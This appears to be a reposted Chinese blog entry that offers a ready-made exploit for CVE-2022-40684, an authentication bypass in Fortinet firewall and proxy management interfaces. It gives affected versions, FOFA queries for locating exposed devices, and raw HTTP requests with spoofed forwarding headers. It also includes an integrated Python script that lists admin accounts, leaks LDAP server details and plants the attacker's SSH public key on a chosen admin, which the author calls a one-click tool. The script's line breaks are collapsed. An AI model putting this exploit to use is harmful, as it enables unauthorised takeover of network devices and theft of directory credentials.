当前位置: 首页 > news >正文

(自用POC)Fortinet-CVE-2022-40684

本文转载于:https://mp.weixin.qq.com/s?__biz=MzIzNDU5Mzk2OQ==&mid=2247485332&idx=1&sn=85931aa474f1ae2c23a66bf6486eec63&chksm=e8f54c4adf82c55c44bc7b1ea919d44d377e35a18c74f83a15e6e20ec6c7bc65965dbc70130d&mpshare=1&scene=23&srcid=0313SvriEma4gwOAorHXG2BI&sharer_sharetime=1678687783463&sharer_shareid=e065963f591f1d96b07207551473e96d#rd

今天闲着没事研究了一下这个洞,但是看到Github得整合起来使用,于是我这里就整合一个版本,也只是属于漏洞复现的整合,平时也不拿nday挖洞,但是也只是为了遇到的时候用一个脚本方便些。任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益 。

漏洞简介

Fortinet(飞塔)是一家全球知名的网络安全产品和安全解决方案提供商,其产品包括防火墙、防病毒软件、入侵防御系统和终端安全组件等。在受影响的FortiOS、FortiProxy 和 FortiSwitchManager产品的管理界面中,可以通过使用备用路径或通道绕过身份验证,并在未经认证的情况下通过特制的HTTP或HTTPS请求对管理界面进行操作。

风险等级

高危

影响版本

FortiOS 7.2.0 - 7.2.1
FortiOS 7.0.0 - 7.0.6
FortiProxy 7.2.0
FortiProxy 7.0.0 - 7.0.6
FortiSwitchManager 7.2.0
FortiSwitchManager 7.0.0

FOFA语法

title="FortiProxy“
title="FortiGate"

POC

GET /api/v2/cmdb/system/admin HTTP/1.1
Host: 目标
User-Agent: Node.js
Accept-Encoding: gzip, deflate
Accept: */*
Hosts: 127.0.0.1:9980
Forwarded: by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=
X-Forwarded-Vdom: root

在这里插入图片描述
说明漏洞存在,获取用户名这个可以直接用现成脚本获取,然后生成自己的SSH公钥写入:

ssh-keygen -t rsa

在这里插入图片描述

PUT /api/v2/cmdb/system/admin/用户名 HTTP/2
Host: 目标
User-Agent: Report Runner
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
Content-Length: 589
Content-Type: application/json{"ssh-public-key1": "\"公钥内容\""}

在这里插入图片描述
这样可以算成功写入了。

开源POC使用

https://github.com/carlosevieira/CVE-2022-40684/blob/main/exploit.py
https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py

在使用上先用carlosevieira师傅的获取用户名,然后将用户名作为参数给到horizon3ai师傅的脚本。
在这里插入图片描述

整合现有的POC

import argparse
import requests
import urllib3
import json 
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def format_key(key_file):with open(key_file) as f:k = f.read().strip()return(k)def get_usernames(url):headers = {"user-agent": "Node.js","accept-encoding": "gzip, deflate","Host": "127.0.0.1:9980","forwarded": 'by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=',"x-forwarded-vdom": "root",}try:r = requests.get(url + "/api/v2/cmdb/system/admin", headers=headers, verify=False)if(r.status_code == 200):print("\033[92m[+] The target {} is vulnerable\033[0m".format(url))data = json.loads(r.text)for user in data['results']:print("\033[93m[+]\033[0m Admin username: {}".format(user['name']))print("\033[93m[+]\033[0m Level access: {}".format(user['accprofile']))print("[+] Serial: {}".format(data['serial']))print("[+] Version: {}".format(data['version']))r = requests.get(url + "/api/v2/cmdb/user/ldap", headers=headers, verify=False)data = json.loads(r.text)if(len(data['results']) > 0):print("[+] Leaking ldap config")print("\033[93m[+]\033[0m LDAP server: {}".format(data['results'][0]['name']))print("\033[93m[+]\033[0m LDAP server: {}".format(data['results'][0]['server']))print("\033[93m[+]\033[0m LDAP binddn: {}".format(data['results'][0]['dn']))print("\033[93m[+]\033[0m LDAP username: {}".format(data['results'][0]['username']))return Trueexcept Exception as exception:print(exception)return Falsedef get_shell(url, username, key_file):headers = {'User-Agent': 'Report Runner','Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'}key = format_key(key_file)j = {"ssh-public-key1": '\"' + key + '\"'}url = f'{url}/api/v2/cmdb/system/admin/{username}'try:r = requests.put(url, headers=headers, json=j, verify=False)if 'SSH key is good' in r.text:print(f'[+] SSH key for {username} added successfully!')except Exception as exception:print(exception)if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument('-u', '--url', help='URL路径', required=True)args = parser.parse_args()if args.url != '' and args.url != None:is_vul = get_usernames(args.url)if is_vul:username = input("\033[91m[*]请输入用户名\033[0m:")key_file = input("\033[91m[*]请输入SSH公钥id_rsa.pub路径\033[0m:")get_shell(args.url, username, key_file)

在这里插入图片描述
搞定整合成一个了,这个洞就可以一键搜哈了。

相关文章:

(自用POC)Fortinet-CVE-2022-40684

本文转载于:https://mp.weixin.qq.com/s?__bizMzIzNDU5Mzk2OQ&mid2247485332&idx1&sn85931aa474f1ae2c23a66bf6486eec63&chksme8f54c4adf82c55c44bc7b1ea919d44d377e35a18c74f83a15e6e20ec6c7bc65965dbc70130d&mpshare1&scene23&srcid…...

ConvNeXt V2实战:使用ConvNeXt V2实现图像分类任务(二)

文章目录训练部分导入项目使用的库设置随机因子设置全局参数图像预处理与增强读取数据设置Loss设置模型设置优化器和学习率调整算法设置混合精度,DP多卡,EMA定义训练和验证函数训练函数验证函数调用训练和验证方法运行以及结果查看测试热力图可视化展示完…...

【人工智能与深度学习】基于正则化潜在可变能量的模型

【人工智能与深度学习】基于正则化潜在可变能量的模型 正则化潜变量能量基础模型稀疏编码FISTALISTA稀疏编码示例卷积稀疏编码自然图像上的卷积稀疏编码可变自动编码器正则化潜变量能量基础模型 具有潜在变量的模型能够生成预测分布 y ‾ \overline{y}...

【Leetcode——排序的循环链表】

😊😊😊 文章目录一、力扣题之排序循环链表二、解题思路1. 使用双指针法2、找出最大节点,最大节点的下一个节点是最小节点,由此展开讨论总结一、力扣题之排序循环链表 题目如下:航班直达!&#…...

ChatGPT研究分享:机器第一次开始理解人类世界目录

0、为什么会对ChatGPT感兴趣一开始,我对ChatGPT是没什么关注的,无非就是有更大的数据集,完成了更大规模的计算,所以能够回答更多的问题。但后来了解到几个案例,开始觉得这个事情并不简单。我先分别列举出来&#xff0c…...

【linux】Linux基本指令(上)

前言: 在之前我们已经简单了介绍了一下【Linux】,包括它的概念,由来啊等进行了讲解,接下来我们就将正式的踏入对其的学习!!! 本文目录👉操作系统的概念1.命令的语法1.1命令介绍1.2选…...

程序员必会技能—— 使用日志

目录 1、为什么要使用日志 2、自定义日志打印 2.1、在程序中得到日志对象 2.2、使用日志对象打印日志 2.3、日志格式 3、日志的级别 3.1、日志级别的分类 3.2、日志级别的设置 4、持久化日志 5、更简单的日志输出——lombok 5.1、如何在已经创建好的SpringBoot项目中添加…...

生成项目的包依赖文件requirements.txt

目录生成项目的包依赖文件requirements.txtrequirements.txt文件怎么来?使用pipreqs第三方库requirements.txt文件使用requirements.txt生成项目的包依赖文件requirements.txt 在安装部署代码时或者使用别人的项目时,会需要安装项目的依赖包&#xff0c…...

安卓渐变的背景框实现

安卓渐变的背景框实现1.背景实现方法1.利用PorterDuffXfermode进行图层的混合,这是最推荐的方法,也是最有效的。2.利用canvas裁剪实现,这个方法有个缺陷,就是圆角会出现毛边,也就是锯齿。3.利用layer绘制边框1.背景 万…...

【拳打蓝桥杯】算法前置课——时间复杂度与空间复杂度

文章目录前言为什么需要复杂度分析?大O复杂度表示法时间复杂度分析几种常见时间复杂度实例分析空间复杂度分析内容小结最后说一句🐱‍🐉作者简介:大家好,我是黑洞晓威,一名大二学生,希望和大家一…...

vite中动态引入图片,打包之后找不到图片地址?

一般来说项目中我们集中存放图片,然后希望在页面中直接引入! 更好的就是直接在模板中调用一个函数 然后传入图片的名字就可以显示出来 事实上确实可以办到,我们用到了一个 new URL import.meta.url这俩个东西 再src目录下 static 下创建一…...

Docker 常用命令大全

目录 一、Docker (一)Docker基础命令 (二)docker镜像命令 (三)docker容器命令 (四)docker运维命令​​​​​​​ 一、Docker 容器是一种虚拟化技术,容器是镜像实例…...

React项目规范:目录结构、根目录别名、CSS重置、路由、redux、二次封装axios

React项目(一)一、创建项目二、目录结构三、craco配置别名并安装less1.craco安装2.配置别名3.安装less四、CSS样式重置五、配置路由六、配置Redux1.创建大仓库2.创建小仓库(1)方式1:RTK(2)方式2…...

SystemVerilog 教程第一章:简介

SystemVerilog 教程像 Verilog 和 VHDL 之类的硬件描述语言 (HDL) 主要用于描述硬件行为,以便将其转换为由组合门电路和时序元件组成的数字块。为了验证 HDL 中的硬件描述正确无误,就需要具有更多功能特性的面向对象的编程语言 (OOP) 来支持复杂的测试过…...

【Java|基础篇】逻辑控制-顺序结构、分支结构和循环结构

文章目录顺序结构分支结构if单分支语句if else双分支语句if else if else多分支语句switch语句循环语句for循环while循环do while循环continuebreak总结顺序结构 顺序结构是指代码按照从上往下的顺序依次执行 分支结构 选择语句是条件成立时,才会执行的语句.共有三种.分为是if…...

【数据挖掘实战】——家用电器用户行为分析及事件识别(BP神经网络)

项目地址:Datamining_project: 数据挖掘实战项目代码 目录 一、背景和挖掘目标 1、问题背景 2、原始数据 3、挖掘目标 二、分析方法与过程 1、初步分析 2、总体流程 第一步:数据抽取 第二步:探索分析 第三步:数据的预处…...

Kmeans聚类算法-python

import random import pandas as pd import numpy as np import matplotlib.pyplot as plt # 计算欧拉距离 def calcDis(dataSet, centroids, k): clalist[] for data in dataSet: diff np.tile(data, (k, 1)) - centroids #相减 (np.tile(a,(2,1))就是把…...

Linux|奇怪的知识|locate命令---文件管理小工具

前言: Linux的命令是非常多的,有一些冷门的命令,虽然很少用,但可能会有意想不到的功能,例如,本文将要介绍的locate命令。 (平常很少会想到使用此命令,find命令使用的更多,偶然想起…...

Cadence Allegro 导出Function Pin Report报告详解

⏪《上一篇》   🏡《上级目录》   ⏩《下一篇》 目录 1,概述2,Function Pin Reportt作用3,Function Pin Report示例4,Function Pin Report导出方法4.1,方法14.2,方法2B站关注“硬小二”浏览更多演示视频 1,概述...

蓝桥杯2018年第九题-缩位求和

题目:在电子计算机普及以前,人们经常用一个粗略的方法来验算四则运算是否正确。比如:248 * 15 3720把乘数和被乘数分别逐位求和,如果是多位数再逐位求和,直到是1位数,得2 4 8 14 > 1 4 5;1 5 65…...

基于Yolv5s的口罩检测

1.Yolov5算法原理和网络结构 YOLOv5按照网络深度和网络宽度的大小,可以分为YO-LOv5s、YOLOv5m、YOLOv5l、YOLOv5x。本文使用YOLOv5s,它的网络结构最为小巧,同时图像推理速度最快达0.007s。YO-LOv5的网络结构主要由四部分组成,分别…...

Linux基本命令

Linux基本命令Linux的目录结构Linux命令入门目录切换相关命令(cd/pwd)相对路径、绝对路径和特殊路径符创建目录命令(mkdir)文件操作命令part1 (touch、cat、more)文件操作命令part2 (cp、mv、rm)查找命令 (which、find…...

云原生场景下的安全左移

本博客地址:https://security.blog.csdn.net/article/details/129430859 一、安全左移概述 安全左移需要考虑开发安全、软件供应链安全、镜像仓库、配置核查这四个部分。 首先是开发安全,安全团队需要关注代码漏洞,比如使用代码检查工具进…...

mysql面试经典问题

文章目录 1. 能说下myisam 和 innodb的区别吗?2. 说下mysql的索引有哪些吧,聚簇和非聚簇索引又是什么?3. 那你知道什么是覆盖索引和回表吗?4. 锁的类型有哪些呢5. 你能说下事务的基本特性和隔离级别吗?6. 那ACID靠什么保证的呢?7. 那你说说什么是幻读,什么是MVCC?幻读什…...

微信小程序|基于小程序+C#制作一个考试答题小程序

基于小程序+C#制作一个考试答题小程序打破传统线下考试答题的边界线问题,使考试不用再局限与某个统一的场所,只要有设备,哪里都能考试。 一、小程序...

【1605. 给定行和列的和求可行矩阵】

来源:力扣(LeetCode) 描述: 给你两个非负整数数组 rowSum 和 colSum ,其中 rowSum[i] 是二维矩阵中第 i 行元素的和, colSum[j] 是第 j 列元素的和。换言之你不知道矩阵里的每个元素,但是你知…...

Linux命令之nano命令

一、nano命令简介 nano是一个小型、免费、友好的编辑器,旨在取代非免费Pine包中的默认编辑器Pico。nano不仅复制了Pico的外观,还实现了Pico中一些缺失(或默认禁用)的功能,例如“搜索和替换”和“转到行号和列号”。nan…...

IT项目管理(作业1)

一.单选题(共12题,100.0分) 1.以下哪项是项目的一个实例?( ) A、改进现有的业务流程或程序B、为公司运营提供信息技术支持C、批量生产一种新近开发出来的家用电冰箱D、管理一个公司 我的答案:A 2.下列哪项不能成为项目结束的理由?( ) A…...

蓝桥杯嵌入式(G4系列):串口收发

前言: 在整个蓝桥杯考试中涉及串口的次数还是较多,这里写下这篇博客,记录一下自己的学习过程。 STM32Cubemx配置: 首先,我们点击左侧的Connectivity选择USART1进行如下配置。 使能串口中断 在左侧的管脚配置上也要做出…...

「兔了个兔」玉兔踏青,纯CSS实现瑞兔日历(附源码)

💂作者简介: THUNDER王,一名热爱财税和SAP ABAP编程以及热爱分享的博主。目前于江西师范大学会计学专业大二本科在读,同时任汉硕云(广东)科技有限公司ABAP开发顾问。在学习工作中,我通常使用偏后…...

企业网站建设的原则包括/如何建立一个自己的网站

7.1、进程简介Linux是一个多用户多任务的操作系统,可以同时执行几个任务,并在一个任务还没有执行完成就执行另一项任务。在Linux中,每个执行的任务都称为进程(process)。通常进程与程序的区别为:程序 (program):通常为…...

甘露园网站建设/百度推广最近怎么了

saltstack使用jinja2增加了pillar模块pillar功能是帮助用户自定义一些变量,对于书写state file带来很大便利,同时增加了任务的隐藏性使用方法:在state file根目录同级目录建立pillar目录,书写sls配置文件pillar同样适用yaml格式,只…...

wordpress 数据库替换/整合网络营销公司

【题目描述】 目前正是新冠肺炎COVID-19盛行时期,为了更好地进行分流治疗,医院在挂号时要求对病人的体温和干咳情况进行检查,对于体温超过37.5度(含等于37.5度)并且干咳的病人初步判定为新冠肺炎COVID-19病人&#xf…...

wordpress欢迎主题/seo客服

世界那么大,谢谢你来看我!!关注我你就是个网络、电脑、手机小达人应该很多人都有遇到过这样的问题,就是将U盘插入自己电脑的时候没反应,也不会在磁盘内显示盘符,但是将U盘插入别人的电脑里面可以打开&#…...

网站制作厂家/网站的推广方法

1清楚一个项目的工作量有多少。 2了解一个项目中每一个组成部分的工作难度是怎么样的。 3对项目中每一个组成部分需要多少时间来完成心中要有数。 4熟悉同伴们的工作特点和强项所在,有针对性的分派任务。 5一定要分工明确,让每一个人清楚知道自己要完…...

成都开发公司/seo关键词优化

目录:唠嗑火速离职案例一火速离职案例二“老油条”的四种加班情况加班压力吗?做得好的优化师,都加班吗?入行前该考虑的三个点从“一头热”的开始做这个公众号到今天,我“满月”了。我记得4月份微博有一个热搜&#xff…...